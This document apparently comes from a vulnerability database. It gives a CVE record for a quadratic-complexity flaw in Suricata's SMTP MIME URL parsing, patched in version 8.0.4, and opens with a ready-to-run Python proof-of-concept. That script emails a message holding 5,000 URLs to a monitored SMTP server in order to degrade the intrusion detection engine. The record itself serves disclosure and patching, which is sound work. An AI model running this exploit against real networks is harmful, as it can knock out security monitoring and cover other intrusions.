CVE-2026-31934

import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Target SMTP server (Monitored by Suricata) SMTP_SERVER = '192.168.1.100' SMTP_PORT = 25 SENDER = '[email protected]' RECEIVER = '[email protected]' def create_dos_email(): msg = MIMEMultipart() msg['From'] = SENDER msg['To'] = RECEIVER msg['Subject'] = 'PoC for CVE-2026-31934' # Generate payload with quadratic complexity trigger # Inserting a large number of URLs in MIME content malicious_content = "" for i in range(5000): malicious_content += f"http://example.com/{i} " msg.attach(MIMEText(malicious_content, 'plain')) return msg try: server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT) server.sendmail(SENDER, RECEIVER, create_dos_email().as_string()) server.quit() print("PoC email sent successfully.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-31934", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:37.440", "lastModified": "2026-04-07T21:20:09.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. From version 8.0.0 to before version 8.0.4, there is a quadratic complexity issue when searching for URLs in mime encoded messages over SMTP leading to a performance impact. This issue has been patched in version 8.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4", "matchCriteriaId": "F35C5A48-CA30-43B3-9E53-D3E51C862604"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/security/advisories/GHSA-hr89-h2pp-f3c8", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8292", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}